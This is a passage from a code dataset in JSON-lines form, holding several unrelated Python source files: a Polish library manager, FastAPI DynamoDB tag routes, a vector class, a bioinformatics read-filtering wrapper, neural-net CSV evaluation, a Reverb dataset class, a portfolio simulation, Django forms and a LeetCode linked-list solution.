książki.\n \n Returns:\n None\n \"\"\"\n try:\n ksiazka = self.znajdz_ksiazke_wedlug_tytulu_lub_indeksu()\n print(\n f\"Ksiązka: {ksiazka.tytul} {ksiazka.autor} {ksiazka.rokWydania}\")\n print(f\"Status: {ksiazka.status}\")\n print(\"Historia:\")\n licznik = 1\n for op in self.operacje:\n if (str(op[0]) == str(ksiazka.indeksKsiazki)):\n licznik += 1\n print(\n f\"{licznik}. Wyporzyczył: {op[1]} Udanie: { 'Tak' if op[2] else 'Nie'} Porzyczono: {op[3]} Oddano: {op[4]}\")\n except:\n print(\"Nie udało się znaleźć książki...\")\n\n def znajdzCzytacza(self, indeks) -> Czytacz:\n \"\"\"\n Funkcja znajduje obiekt klasy `Czytacz` o podanym indeksie i zwraca go.\n Jeśli nie ma takiego czytacza w liście `czytacze`, funkcja rzuca błąd\n ValueError.\n\n Args:\n indeks (int): Indeks czytacza.\n\n Returns:\n Czytacz: Obiekt klasy `Czytacz` o podanym indeksie.\n \"\"\"\n for cz in self.czytacze:\n if (cz.indeksCzytacza == (indeks-1)):\n return cz\n raise ValueError(\"Wybrano nie istniejącą opcję w menu\")\n\n def znajdz_ksiazke_wedlug_tytulu_lub_indeksu(self) -> Ksiazka:\n \"\"\"\n Funkcja zwraca obiekt klasy Ksiazka wyszukany w bibliotece na podstawie\n tytułu lub indeksu. Użytkownik wybiera sposób wyszukania, a funkcja\n zwraca obiekt klasy Ksiazka o podanym tytule lub indeksie. Może rzucać\n wyjątek ValueError w przypadku błędnych danych wejściowych.\n \n Returns:\n Obiekt klasy Ksiazka.\n \"\"\"\n if self.iloscKsiazek < 1:\n raise ValueError(\"Nie ma książek w bibliotece\")\n\n choice = int(u.czyscWejscie(input(\"\"\"Chcesz znaleźć książkę po tytule czy indeksie?\n 1) Tytuł\n 2) Indeks\n \"\"\"), trybTestowania=self.TEST_MODE))\n\n if choice == 1:\n title = u.czyscWejscie(\n input(\"Podaj tytuł książki: \"), trybTestowania=self.TEST_MODE)\n for ksiazka in self.ksiazki:\n if ksiazka.tytul == title:\n return ksiazka\n\n elif choice == 2:\n index = int(u.czyscWejscie(\n input(\"Podaj indeks książki: \"), trybTestowania=self.TEST_MODE))\n if index > self.iloscKsiazek or index < 1:\n raise ValueError(\"Podano nieprawidłowy indeks\")\n return self.ksiazki[index-1]\n\n else:\n raise ValueError(\"Wybrano nieprawidłową opcję w menu\")\n","repo_name":"gkk-dev-ops/py-beginner-exercises","sub_path":"Projekt/obj/BibliotekaObj.py","file_name":"BibliotekaObj.py","file_ext":"py","file_size_in_byte":12132,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8461291851","text":"from typing import List\nfrom fastapi import APIRouter, HTTPException\nfrom botocore.exceptions import ClientError\nfrom aws_dynamodb_parser import parse\n\nimport uuid\nfrom api.util import timestamp_jst\nfrom api.schema import ReqTagDelete, ReqTagPost, ReqTagPut, Tag\nfrom api.dynamodb import create_dynamodb_client\n\nrouter = APIRouter()\nclient = create_dynamodb_client()\n\n\n#\n# routes\n#\n\n# OK\n@router.get(\"/tags\", response_model=List[Tag])\ndef get_tags():\n \"\"\"Get tags from dynamoDB\"\"\"\n input = create_query_input()\n try:\n res = client.query(**input)\n items = parse(res.get(\"Items\", []))\n # append index\n for i, item in enumerate(items, 1):\n item[\"id\"] = i\n return items\n\n except ClientError as err:\n err_message = err.response[\"Error\"][\"Message\"]\n raise HTTPException(status_code=404, detail=err_message)\n\n except BaseException as err:\n err = err.response.json()\n err_message = err.get(\"error\", \"System error occurred.\")\n raise HTTPException(status_code=404, detail=err_message)\n\n\n# OK\n@router.post(\"/tag\")\ndef post_tag(req_tag: ReqTagPost):\n \"\"\"Post tag to DynamoDB\"\"\"\n\n try:\n # check duplicate\n tags = get_tags()\n duplicate = [tag for tag in tags if tag[\"name\"] == req_tag.name]\n if duplicate:\n return {\"duplicate\": True}\n\n input = create_put_item_input(req_tag)\n res = client.put_item(**input)\n return res\n\n except ClientError as err:\n err_message = err.response[\"Error\"][\"Message\"]\n raise HTTPException(status_code=404, detail=err_message)\n\n except BaseException as err:\n raise HTTPException(status_code=404, detail=str(err))\n\n\n# OK\n@router.put(\"/tag\")\ndef put_tag(req_tag: ReqTagPut):\n \"\"\"Put tag to DynamoDB\"\"\"\n\n input = create_update_item_input(req_tag)\n try:\n res = client.update_item(**input)\n return res\n\n except ClientError as err:\n err_message = err.response[\"Error\"][\"Message\"]\n raise HTTPException(status_code=404, detail=err_message)\n\n except BaseException as err:\n raise HTTPException(status_code=404, detail=str(err))\n\n\n# OK\n@router.delete(\"/tag\")\ndef delete_tag(req_tag: ReqTagDelete):\n \"\"\"delete tag meta and video/tag relations\"\"\"\n\n items = []\n # remove tag meta\n items.append({\"Delete\": create_delete_item_input(req_tag.PK)})\n\n try:\n # update video meta\n videos = _get_videos_contain_any_tag(req_tag.PK)\n items.extend(\n _create_input_tag_remove_from_video(\n videos=videos, PK=req_tag.PK, user=req_tag.user\n )\n )\n # transaction\n res = client.transact_write_items(\n ReturnConsumedCapacity=\"INDEXES\", TransactItems=items\n )\n return res\n\n except ClientError as err:\n err_message = err.response[\"Error\"][\"Message\"]\n raise HTTPException(status_code=404, detail=err_message)\n\n except BaseException as err:\n raise HTTPException(status_code=404, detail=str(err))\n\n\n#\n# utilities\n#\n\n\n# OK\ndef create_query_input():\n return {\n \"TableName\": \"primary_table\",\n \"IndexName\": \"GSI-1-SK\",\n \"KeyConditionExpression\": \"#key = :value\",\n \"ScanIndexForward\": False,\n \"ExpressionAttributeNames\": {\"#key\": \"indexKey\"},\n \"ExpressionAttributeValues\": {\":value\": {\"S\": \"Tag\"}},\n }\n\n\n# OK\ndef create_put_item_input(tag):\n id = str(uuid.uuid1())[:8]\n return {\n \"TableName\": \"primary_table\",\n \"Item\": {\n \"PK\": {\"S\": \"T-\" + id},\n \"SK\": {\"S\": \"T-\" + id},\n \"indexKey\": {\"S\": \"Tag\"},\n \"name\": {\"S\": tag.name},\n \"description\": {\"S\": tag.description},\n \"note\": {\"S\": tag.note},\n \"invalid\": {\"BOOL\": False},\n \"createdAt\": {\"S\": timestamp_jst()},\n \"createdUser\": {\"S\": tag.user},\n \"updatedAt\": {\"S\": timestamp_jst()},\n \"updatedUser\": {\"S\": tag.user},\n },\n }\n\n\n# OK\ndef create_update_item_input(tag):\n input = {\n \"TableName\": \"primary_table\",\n \"Key\": {\"PK\": {\"S\": tag.PK}, \"SK\": {\"S\": tag.PK}},\n \"UpdateExpression\": \"SET #date = :date, #user = :user\",\n \"ExpressionAttributeNames\": {\n \"#date\": \"updatedAt\",\n \"#user\": \"updatedUser\",\n },\n \"ExpressionAttributeValues\": {\n \":date\": {\"S\": timestamp_jst()},\n \":user\": {\"S\": tag.user},\n },\n }\n if tag.name is not None:\n input[\"UpdateExpression\"] = input.get(\"UpdateExpression\") + \", #name = :name\"\n input[\"ExpressionAttributeNames\"][\"#name\"] = \"name\"\n input[\"ExpressionAttributeValues\"][\":name\"] = {\"S\": tag.name}\n if tag.description is not None:\n input[\"UpdateExpression\"] = (\n input.get(\"UpdateExpression\") + \", #description = :description\"\n )\n input[\"ExpressionAttributeNames\"][\"#description\"] = \"description\"\n input[\"ExpressionAttributeValues\"][\":description\"] = {\"S\": tag.description}\n if tag.note is not None:\n input[\"UpdateExpression\"] = input.get(\"UpdateExpression\") + \", #note = :note\"\n input[\"ExpressionAttributeNames\"][\"#note\"] = \"note\"\n input[\"ExpressionAttributeValues\"][\":note\"] = {\"S\": tag.note}\n if tag.invalid is not None:\n input[\"UpdateExpression\"] = (\n input.get(\"UpdateExpression\") + \", #invalid = :invalid\"\n )\n input[\"ExpressionAttributeNames\"][\"#invalid\"] = \"invalid\"\n input[\"ExpressionAttributeValues\"][\":invalid\"] = {\"BOOL\": tag.invalid}\n return input\n\n\n# OK\ndef create_delete_item_input(tag_id):\n return {\n \"TableName\": \"primary_table\",\n \"Key\": {\"PK\": {\"S\": tag_id}, \"SK\": {\"S\": tag_id}},\n }\n\n\n# OK\n# 公開するのはありかも。。\ndef _get_videos_contain_any_tag(tag_id):\n \"\"\"get videos contain any tag\"\"\"\n input = {\n \"TableName\": \"primary_table\",\n \"IndexName\": \"GSI-1-SK\",\n \"KeyConditionExpression\": \"#key = :key\",\n \"FilterExpression\": \"contains(#tag, :tag)\",\n \"ScanIndexForward\": False,\n \"ExpressionAttributeNames\": {\"#key\": \"indexKey\", \"#tag\": \"tagIds\"},\n \"ExpressionAttributeValues\": {\":key\": {\"S\": \"Video\"}, \":tag\": {\"S\": tag_id}},\n }\n try:\n res = client.query(**input)\n items = parse(res.get(\"Items\", {}))\n return items\n except ClientError as err:\n raise err\n\n except BaseException as err:\n raise err\n\n\n# OK\ndef _create_input_tag_remove_from_video(videos, PK, user):\n \"\"\"remove tag from video meta\"\"\"\n\n new_videos = []\n for video in videos:\n tag_ids = video.get(\"tagIds\", [])\n tag_ids.remove(PK)\n # escape empty\n if len(tag_ids) <= 0:\n tag_ids = [\"\"]\n input = {\n \"TableName\": \"primary_table\",\n \"Key\": {\n \"PK\": {\"S\": video[\"PK\"]},\n \"SK\": {\"S\": video[\"PK\"]},\n },\n \"UpdateExpression\": \"SET updatedAt = :date, \"\n + \"updatedUser = :user, tagIds = :tags\",\n \"ExpressionAttributeValues\": {\n \":date\": {\"S\": timestamp_jst()},\n \":user\": {\"S\": user},\n \":tags\": {\"SS\": tag_ids},\n },\n }\n new_videos.append({\"Update\": input})\n return new_videos\n","repo_name":"atsuchiy11/api-fastapi-video","sub_path":"api/routers/tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":7352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41600733259","text":"import math\n\n\nclass vec(object):\n\t\"\"\"Two dimensional vector providing arithmetic operators\"\"\"\n\tdef __init__(self, *args):\n\t\tcount = len(args)\n\t\tone = args[0] if count > 0 else None\n\t\ttwo = args[1] if count > 1 else None\n\t\tif count == 0:\n\t\t\tself.x = 0\n\t\t\tself.y = 0\n\t\telif count == 1 and isinstance(one, (int, float)):\n\t\t\tself.x = one\n\t\t\tself.y = one\n\t\telif count >= 1 and isinstance(one, object) and hasattr(one, 'x') and hasattr(one, 'y'):\n\t\t\tself.x = one.x\n\t\t\tself.y = one.y\n\t\telif count >= 1 and isinstance(one, (list, tuple)) and len(one) == 2:\n\t\t\tself.x = one[0]\n\t\t\tself.y = one[1]\n\t\telif count == 2 and isinstance(one, (int, float)) and isinstance(two, (int, float)):\n\t\t\tself.x = one\n\t\t\tself.y = two\n\t\telse:\n\t\t\traise TypeError()\n\t\tself.x = float(self.x)\n\t\tself.y = float(self.y)\n\tdef list(self, integer=True):\n\t\t# Useful for interfaces that expect coordinates as lists\n\t\tif integer:\n\t\t\t# Useful for rendering inside a pixel grid\n\t\t\treturn [int(self.x), int(self.y)]\n\t\telse:\n\t\t\treturn [self.x, self.y]\n\tdef length(self):\n\t\tdot = (self.x * self.x) + (self.y * self.y)\n\t\treturn math.sqrt(dot)\n\tdef normalize(self):\n\t\treturn self / self.length()\n\tdef dot(self, other):\n\t\treturn (self.x * other.x) + (self.y * other.y)\n\tdef __pos__(self):\n\t\treturn vec(self)\n\tdef __neg__(self):\n\t\treturn vec(-self.x, -self.y)\n\tdef __pos__(self):\n\t\treturn vec(self.x, self.y)\n\tdef __add__(self, other):\n\t\tif isinstance(other, vec):\n\t\t\treturn vec(self.x + other.x, self.y + other.y)\n\t\telif isinstance(other, (int, float)):\n\t\t\treturn vec(self.x + other, self.y + other)\n\t\telse:\n\t\t\traise TypeError()\n\tdef __sub__(self, other):\n\t\treturn self.__add__(-other)\n\tdef __mul__(self, other):\n\t\tif isinstance(other, vec):\n\t\t\t# Multiplication of two vectors is element wise\n\t\t\treturn vec(self.x * other.x, self.y * other.y)\n\t\telif isinstance(other, (int, float)):\n\t\t\treturn vec(self.x * other, self.y * other)\n\t\telse:\n\t\t\traise TypeError()\n\tdef __truediv__(self, other):\n\t\ttry:\n\t\t\tif isinstance(other, vec):\n\t\t\t\treturn vec(self.x / other.x, self.y / other.y)\n\t\t\telif isinstance(other, (int, float)):\n\t\t\t\treturn vec(self.x / other, self.y / other)\n\t\t\telse:\n\t\t\t\traise TypeError()\n\t\texcept ZeroDivisionError:\n\t\t\treturn self\n\tdef __iadd__(self, other):\n\t\tif isinstance(other, vec):\n\t\t\tself.x += other.x\n\t\t\tself.y += other.y\n\t\telif isinstance(other, (int, float)):\n\t\t\tself.x += other\n\t\t\tself.y += other\n\t\telse:\n\t\t\traise TypeError()\n\t\treturn self\n\tdef __isub__(self, other):\n\t\treturn self.__iadd__(-other)\n\tdef __imul__(self, other):\n\t\tif isinstance(other, vec):\n\t\t\tself.x *= other.x\n\t\t\tself.y *= other.y\n\t\telif isinstance(other, (int, float)):\n\t\t\tself.x *= other\n\t\t\tself.y *= other\n\t\telse:\n\t\t\traise TypeError()\n\t\treturn self\n\tdef __itruediv__(self, other):\n\t\tif isinstance(other, (int, float)):\n\t\t\tself.x /= other\n\t\t\tself.y /= other\n\t\telse:\n\t\t\traise TypeError()\n\t\treturn self\n\tdef __nonzero__(self):\n\t\treturn self.x or self.y\n\tdef __abs__(self):\n\t\treturn vec(abs(self.x), abs(self.y))\n\tdef __str__(self):\n\t\treturn '(' + str(self.x) + ', ' + str(self.y) + ')'\n","repo_name":"danijar/jumper","sub_path":"src/vec.py","file_name":"vec.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"25085615453","text":"import os\n\nfrom viridian import utils\n\n\ndef run_riak(outprefix, ref_fasta, reads1, reads2=None):\n if reads2 is None:\n reads_opts = f\"--tech ont --reads1 {reads1}\"\n else:\n reads_opts = f\"--tech illumina --reads1 {reads1} --reads2 {reads2}\"\n\n try:\n result = utils.syscall(\n f\"readItAndKeep {reads_opts} --ref_fasta {ref_fasta} -o {outprefix}\"\n )\n except:\n return {}, {}, \"Error running readItAndKeep\"\n\n expect_keys = {\n \"Input reads file 1\",\n \"Input reads file 2\",\n \"Kept reads 1\",\n \"Kept reads 2\",\n }\n\n try:\n counts = {}\n for line in result.stdout.split(\"\\n\"):\n fields = line.split(\"\\t\")\n counts[fields[0]] = int(fields[1])\n assert set(counts.keys()) == expect_keys\n except:\n return {}, {}, \"Error parsing readItAndKeep results\"\n\n outfiles = {\"reads\": None, \"reads_1\": None, \"reads_2\": None}\n for key in outfiles:\n fa = f\"{outprefix}.{key}.fasta.gz\"\n fq = f\"{outprefix}.{key}.fastq.gz\"\n if os.path.exists(fa):\n assert not os.path.exists(fq)\n outfiles[key] = fa\n if os.path.exists(fq):\n assert not os.path.exists(fa)\n outfiles[key] = fq\n\n if reads2 is None:\n if outfiles[\"reads\"] is None:\n return counts, outfiles, \"Reads output file not found\"\n outfiles[\"reads_1\"] = outfiles[\"reads\"]\n del outfiles[\"reads\"]\n else:\n del outfiles[\"reads\"]\n if outfiles[\"reads_1\"] is None:\n return counts, outfiles, \"Reads output file 1 not found\"\n if outfiles[\"reads_2\"] is None:\n return counts, outfiles, \"Reads output file 2 not found\"\n\n return counts, outfiles, None\n","repo_name":"iqbal-lab-org/viridian_workflow","sub_path":"viridian/read_it_and_keep.py","file_name":"read_it_and_keep.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"39588018844","text":"#### WRITING CSV RESULTS FOR TESTING A NET ####\nimport csv\nfrom .evaluator import NetEval\nfrom loaders.named_loader import AbstractSpectrogramNamedDataset\nimport sys\nimport os \n\ndef print_progress(i):\n sys.stdout.write('\\r' + str(i))\n sys.stdout.flush()\n\ndef write_new_csv_headers(csv_file, headers):\n with open(csv_file, 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(headers) # Write Headers\n\n\ndef write_csv_predictions(guesses, labels, csv_file):\n with open(csv_file, 'a') as csvfile:\n writer = csv.writer(csvfile)\n\n for guess, label in zip(guesses, labels):\n guess = guess[0]\n writer.writerow([guess, label, guess==label])\n\n\ndef write_predictions_to_csv(net, data_loader, csv_path):\n \"\"\"\n Goes through entire loader one time\n :param net: neural net\n :param copy_net: boolean\n :param data_loader: DataLoader\n :return: Data structure of class Evaluator containing the amount correct for each class\n \"\"\"\n Net = net\n net_eval = NetEval(Net)\n write_new_csv_headers(csv_path, ['Guesses', 'True Labels', 'Correct'])\n\n i = 0\n for (inputs, labels) in data_loader:\n inputs, labels = net_eval.to_cuda(inputs), labels.cuda()\n guesses = net_eval.predict(inputs)\n\n write_csv_predictions(guesses, labels, csv_path)\n i += len(guesses)\n print_progress(i)\n\n\ndef write_named_csv_prediction(names, guesses, true_labels, csv_file):\n with open(csv_file, 'a') as csvfile:\n writer = csv.writer(csvfile)\n\n for guess, true_label, name in zip(guesses, true_labels, names):\n guess = guess.data[0]\n #guess, true_label, name = guess.item(), true_label.item(), name # Pytorch 0.4+\n writer.writerow([name, guess, true_label])\n\n\ndef write_named_predictions_to_csv(net, named_dataloader: AbstractSpectrogramNamedDataset, csv_path):\n \"\"\"\n Writes the Name, Guess, and True Label to a CSV file\n \"\"\"\n Net = net\n net_eval = NetEval(Net)\n write_new_csv_headers(csv_path, ['Name', 'Guess', 'True Label'])\n\n i = 0\n for (inputs, true_labels, names) in named_dataloader:\n inputs = net_eval.to_cuda(inputs)\n guesses = net_eval.predict(inputs)\n\n write_named_csv_prediction(names, guesses, true_labels, csv_path)\n\n i += len(guesses)\n print_progress(i)\n\ndef write_evaluator(evaluator, csv_path, extra_header_data=[], extra_row_data=[]):\n headers = [] + extra_header_data\n row = [] + extra_row_data\n\n \n for class_name, data in evaluator.class_info.items():\n for description, value in data.items():\n headers.append(description + f\" (class {class_name})\")\n row.append(value)\n\n for class_name, _ in evaluator.class_info.items():\n percent_correct = evaluator.percent_correct(class_name)\n headers.append(f\"Percent Correct (class {class_name})\")\n row.append(percent_correct)\n\n headers.append(\"Total Percent Correct\")\n row.append(evaluator.normalized_percent_correct())\n\n exists = os.path.exists(csv_path)\n os.makedirs(os.path.dirname(csv_path), exist_ok=True)\n\n with open(csv_path, 'a+') as csvfile:\n writer = csv.writer(csvfile)\n if not exists:\n writer.writerow(headers)\n writer.writerow(row)\n \n \n \n \n\n","repo_name":"jamesaud/earthquake-detector-9000","sub_path":"evaluator/csv_write.py","file_name":"csv_write.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"70557125975","text":"from typing import Any, List, Optional, Union\n\nfrom reverb import client as reverb_client\nfrom reverb import replay_sample\nimport tensorflow.compat.v1 as tf\nimport tree\n\nfrom reverb.cc.ops import gen_reverb_ops\n\n\nclass TrajectoryDataset(tf.data.Dataset):\n \"\"\"A tf.data.Dataset which samples trajectories from a Reverb table.\n\n Note: The dataset returns `ReplaySample` where `data` with the structure of\n `dtypes` and `shapes` and where all fields within `info` are scalars.\n\n Note: Uses of Python lists are converted into tuples as nest used by the\n tf.data API doesn't have good support for lists.\n \"\"\"\n\n def __init__(self,\n server_address: Union[str, tf.Tensor],\n table: Union[str, tf.Tensor],\n dtypes: Any,\n shapes: Any,\n max_in_flight_samples_per_worker: int,\n num_workers_per_iterator: int = -1,\n max_samples_per_stream: int = -1,\n rate_limiter_timeout_ms: int = -1,\n max_samples: int = -1):\n \"\"\"Constructs a new TrajectoryDataset.\n\n Args:\n server_address: Address of gRPC ReverbService.\n table: Probability table to sample from.\n dtypes: Dtypes of the data output. Can be nested.\n shapes: Shapes of the data output. Can be nested.\n max_in_flight_samples_per_worker: The number of samples requested in each\n batch of samples. Higher values give higher throughput but too big\n values can result in skewed sampling distributions as large number of\n samples are fetched from single snapshot of the replay (followed by a\n period of lower activity as the samples are consumed). A good rule of\n thumb is to set this value to 2-3x times the batch size used.\n num_workers_per_iterator: (Defaults to -1, i.e. auto selected) The number\n of worker threads to create per dataset iterator. When the selected\n table uses a FIFO sampler (i.e. a queue) then exactly 1 worker must be\n used to avoid races causing invalid ordering of items. For all other\n samplers, this value should be roughly equal to the number of threads\n available on the CPU.\n max_samples_per_stream: (Defaults to -1, i.e. auto selected) The maximum\n number of samples to fetch from a stream before a new call is made.\n Keeping this number low ensures that the data is fetched uniformly from\n all server.\n rate_limiter_timeout_ms: (Defaults to -1: infinite). Timeout (in\n milliseconds) to wait on the rate limiter when sampling from the table.\n If `rate_limiter_timeout_ms >= 0`, this is the timeout passed to\n `Table::Sample` describing how long to wait for the rate limiter to\n allow sampling. The first time that a request times out (across any of\n the workers), the Dataset iterator is closed and the sequence is\n considered finished.\n max_samples: (Defaults to -1: infinite). The maximum number of samples to\n request from the server. Once target number of samples has been fetched\n and returned, the iterator is closed. This can be used to avoid the\n prefetched added by the dataset.\n\n Raises:\n ValueError: If `dtypes` and `shapes` don't share the same structure.\n ValueError: If `max_in_flight_samples_per_worker` is not a\n positive integer.\n ValueError: If `num_workers_per_iterator` is not a positive integer or -1.\n ValueError: If `max_samples_per_stream` is not a positive integer or -1.\n ValueError: If `rate_limiter_timeout_ms < -1`.\n ValueError: If `max_samples` is not a positive integer or -1.\n\n \"\"\"\n tree.assert_same_structure(dtypes, shapes, False)\n if max_in_flight_samples_per_worker < 1:\n raise ValueError(\n 'max_in_flight_samples_per_worker (%d) must be a positive integer' %\n max_in_flight_samples_per_worker)\n if num_workers_per_iterator < 1 and num_workers_per_iterator != -1:\n raise ValueError(\n 'num_workers_per_iterator (%d) must be a positive integer or -1' %\n num_workers_per_iterator)\n if max_samples_per_stream < 1 and max_samples_per_stream != -1:\n raise ValueError(\n 'max_samples_per_stream (%d) must be a positive integer or -1' %\n max_samples_per_stream)\n if rate_limiter_timeout_ms < -1:\n raise ValueError('rate_limiter_timeout_ms (%d) must be an integer >= -1' %\n rate_limiter_timeout_ms)\n if max_samples < 1 and max_samples != -1:\n raise ValueError('max_samples (%d) must be a positive integer or -1' %\n max_samples)\n\n # Add the info fields (all scalars).\n dtypes = replay_sample.ReplaySample(\n info=replay_sample.SampleInfo.tf_dtypes(), data=dtypes)\n shapes = replay_sample.ReplaySample(\n info=replay_sample.SampleInfo.tf_shapes(), data=shapes)\n\n # The tf.data API doesn't fully support lists so we convert all uses of\n # lists into tuples.\n dtypes = _convert_lists_to_tuples(dtypes)\n shapes = _convert_lists_to_tuples(shapes)\n\n self._server_address = server_address\n self._table = table\n self._dtypes = dtypes\n self._shapes = shapes\n self._max_in_flight_samples_per_worker = max_in_flight_samples_per_worker\n self._num_workers_per_iterator = num_workers_per_iterator\n self._max_samples_per_stream = max_samples_per_stream\n self._rate_limiter_timeout_ms = rate_limiter_timeout_ms\n self._max_samples = max_samples\n\n if _is_tf1_runtime():\n # Disabling to avoid errors given the different tf.data.Dataset init args\n # between v1 and v2 APIs.\n # pytype: disable=wrong-arg-count\n super().__init__()\n else:\n # DatasetV2 requires the dataset as a variant tensor during init.\n super().__init__(self._as_variant_tensor())\n # pytype: enable=wrong-arg-count\n\n @classmethod\n def from_table_signature(cls,\n server_address: str,\n table: str,\n max_in_flight_samples_per_worker: int,\n num_workers_per_iterator: int = -1,\n max_samples_per_stream: int = -1,\n rate_limiter_timeout_ms: int = -1,\n get_signature_timeout_secs: Optional[int] = None,\n max_samples: int = -1):\n \"\"\"Constructs a TrajectoryDataset using the table's signature to infer specs.\n\n Note: The target `Table` must specify a signature which represent the entire\n trajectory (as opposed to a single timestep). See `Table.__init__`\n (./server.py) for more details.\n\n Args:\n server_address: Address of gRPC ReverbService.\n table: Table to read the signature and sample from.\n max_in_flight_samples_per_worker: See __init__ for details.\n num_workers_per_iterator: See __init__ for details.\n max_samples_per_stream: See __init__ for details.\n rate_limiter_timeout_ms: See __init__ for details.\n get_signature_timeout_secs: Timeout in seconds to wait for server to\n respond when fetching the table signature. By default no timeout is set\n and the call will block indefinitely if the server does not respond.\n max_samples: See __init__ for details.\n\n Returns:\n TrajectoryDataset using the specs defined by the table signature to build\n `shapes` and `dtypes`.\n\n Raises:\n ValueError: If `table` does not exist on server at `server_address`.\n ValueError: If `table` does not have a signature.\n errors.DeadlineExceededError: If `get_signature_timeout_secs` provided and\n exceeded.\n ValueError: See __init__.\n \"\"\"\n client = reverb_client.Client(server_address)\n info = client.server_info(get_signature_timeout_secs)\n if table not in info:\n raise ValueError(\n f'Server at {server_address} does not contain any table named '\n f'{table}. Found: {\", \".join(sorted(info.keys()))}.')\n\n if not info[table].signature:\n raise ValueError(\n f'Table {table} at {server_address} does not have a signature.')\n\n shapes = tree.map_structure(lambda x: x.shape, info[table].signature)\n dtypes = tree.map_structure(lambda x: x.dtype, info[table].signature)\n\n return cls(\n server_address=server_address,\n table=table,\n shapes=shapes,\n dtypes=dtypes,\n max_in_flight_samples_per_worker=max_in_flight_samples_per_worker,\n num_workers_per_iterator=num_workers_per_iterator,\n max_samples_per_stream=max_samples_per_stream,\n rate_limiter_timeout_ms=rate_limiter_timeout_ms,\n max_samples=max_samples)\n\n def _as_variant_tensor(self):\n return gen_reverb_ops.reverb_trajectory_dataset(\n server_address=self._server_address,\n table=self._table,\n dtypes=tree.flatten(self._dtypes),\n shapes=tree.flatten(self._shapes),\n max_in_flight_samples_per_worker=self._max_in_flight_samples_per_worker,\n num_workers_per_iterator=self._num_workers_per_iterator,\n max_samples_per_stream=self._max_samples_per_stream,\n rate_limiter_timeout_ms=self._rate_limiter_timeout_ms,\n max_samples=self._max_samples)\n\n def _inputs(self) -> List[Any]:\n return []\n\n @property\n def element_spec(self) -> Any:\n return tree.map_structure(tf.TensorSpec, self._shapes, self._dtypes)\n\n\ndef _convert_lists_to_tuples(structure: Any) -> Any:\n list_to_tuple_fn = lambda s: tuple(s) if isinstance(s, list) else s\n # Traverse depth-first, bottom-up\n return tree.traverse(list_to_tuple_fn, structure, top_down=False)\n\n\ndef _is_tf1_runtime() -> bool:\n \"\"\"Returns True if the runtime is executing with TF1.0 APIs.\"\"\"\n # TODO(b/145023272): Update when/if there is a better way.\n return hasattr(tf, 'to_float')\n","repo_name":"deepmind/reverb","sub_path":"reverb/trajectory_dataset.py","file_name":"trajectory_dataset.py","file_ext":"py","file_size_in_byte":9836,"program_lang":"python","lang":"en","doc_type":"code","stars":662,"dataset":"github-code","pt":"67"} +{"seq_id":"42077966302","text":"#! /usr/bin/python3\n\"\"\"\n:file: portfolio_ii.py\n:author: Hossam Khair\n\"\"\"\nimport numpy as np\nfrom portfolio_i import portfolio_return\n\nif __name__ == \"__main__\":\n # Run 1,000 iterations and store the results\n sims, rets = 1000, []\n\n for i in range(sims):\n rets.append(portfolio_return(yrs=10, avg_return=0.07,\n sd_of_return=0.3, principal=10000))\n\n # Calculate the 95% CI\n lower_ci = np.percentile(rets, 2.5)\n upper_ci = np.percentile(rets, 97.5)\n print(\"95% CI of Returns: Lower = {}, Upper = {}\".format(lower_ci, upper_ci))\n","repo_name":"HossamKhir/spc-datacamp","sub_path":"statistic-fundementals-python/03-statistical-simulation-python/src/portfolio_ii.py","file_name":"portfolio_ii.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39058616153","text":"# -*- coding: utf-8 -*-\n\nfrom django import forms\nfrom tripadvisor.models import Destination, Link\n\n\nclass DestinationForm(forms.ModelForm):\n class Meta:\n model = Destination\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(DestinationForm, self).__init__(*args, **kwargs)\n self.fields['parent'].queryset = Destination.objects.filter(parent__isnull=True)\n\n\nclass LinkForm(forms.ModelForm):\n class Meta:\n model = Link\n exclude = ['executed']\n\n def __init__(self, *args, **kwargs):\n super(LinkForm, self).__init__(*args, **kwargs)\n self.fields['destination'].queryset = Destination.objects.filter(parent__isnull=False)\n","repo_name":"baajarmeh/scrapper","sub_path":"tripadvisor/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"74344153492","text":"\"\"\"\nGiven a singly linked list, group all odd nodes together followed by the even nodes. Please note here we are talking about the node number and not the value in the nodes.\n\nYou should try to do it in place. The program should run in O(1) space complexity and O(nodes) time complexity.\n\nExample 1:\n\nInput: 1->2->3->4->5->NULL\nOutput: 1->3->5->2->4->NULL\nExample 2:\n\nInput: 2->1->3->5->6->4->7->NULL\nOutput: 2->3->6->7->1->5->4->NULL\nNote:\n\nThe relative order inside both the even and odd groups should remain as it was in the input.\nThe first node is considered odd, the second node even and so on ...\n\"\"\"\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def oddEvenList(self, head: ListNode) -> ListNode:\n # Method One\n if head is None:\n return None\n odd = head\n even = even_head = head.next\n while even and even.next:\n odd.next = even.next\n odd = odd.next\n even.next = odd.next\n even = even.next\n odd.next = even_head\n return head\n\n # Method Two\n # odd = odd_head = ListNode(0)\n # even = even_head = ListNode(0)\n # i = 0\n # while head:\n # i += 1\n # if i % 2 == 1:\n # odd.next = head\n # odd = odd.next\n # else:\n # even.next = head\n # even = even.next\n # head = head.next\n # even.next = None\n # odd.next = reven_head.next\n # return odd_head.next","repo_name":"CharlesBird/Resources","sub_path":"coding/Algorithm_exercise/Leetcode/0328-update_timestamps.py","file_name":"0328-update_timestamps.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6124171359","text":"import yaml\nimport 